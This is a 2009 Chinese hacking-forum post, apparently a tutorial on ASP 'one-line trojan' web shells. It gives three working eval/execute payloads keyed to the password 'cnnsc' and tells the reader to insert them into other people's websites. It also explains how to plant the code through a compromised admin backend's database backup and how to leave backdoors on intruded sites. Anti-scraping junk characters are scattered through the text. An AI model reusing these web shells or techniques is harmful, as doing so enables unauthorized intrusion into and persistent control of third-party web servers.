【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: [原创教程] 一句话木马的使用方法视频 [打印本页]

作者: oooooo 时间: 2009-7-3 09:19 标题: 一句话木马的使用方法视频

一句话木马的使用
* |/ z$ B5 S# R
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~& K. c9 {% O9 P; d. o+ |+ ^

1、咱们先弄懂怎么使用的。

分为客户端和服务端

% d) W. {3 ?# U
客户端是连接上去的程序，也可以是网页
: `5 P& J7 L$ T. U# I% K
http://www.3ast.com.cn/tool/yijuhua.html

服务端就是一段代码，代码里有对应的“密码”
$ h, Z: X" c6 A( f9 ~9 K% z" U$ k
提供三个服务端:
1. <%eval request("cnnsc")%> ' V. \' Q" E- O, E' v
2. <%execute request("cnnsc")%> 7 l& w) f8 T' a* t
3. <%execute(request("cnnsc"))%> 9 g# e: m8 ?% A; e

cnnsc--密码
4 I& s/ K$ T8 V5 ~4 v* B' L
我们只要把这个代码插入到对方网站的网页中就可以了! v% W- Q- K$ h: P" O8 _
: j' u7 J0 l; Y: L7 ^1 q
我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%> $ x9 M9 Z6 N" k4 v$ k
" s, E6 S* B) H9 c
换一个页面，添加过了。访问的时候一切正常，看链接

上传之后, s; T4 W4 ^7 T. V
: T: W- X  t: e( g
链接上去了8 B8 i) M5 w. i8 Y% c
OK.这个就是链接的主要过程

( B  z$ {/ W" t

2、然后懂得哪里会用上、怎么用+ ?4 I2 m0 f! M2 ]+ U
  j: y; E1 Y7 j5 n/ N6 v( l* ~  d
(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了/ v6 w5 v4 e* x- V& u+ W+ j
" A- \+ Y, G0 G/ O9 g
(2)可以给自己入侵的网站留下后门。。。。8 W: d& |4 H1 l$ J$ }$ R

(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。

好了，教程到此结束，不懂的可以再来问我。。。790653916

作者: EndTo偌枫 时间: 2009-7-3 13:27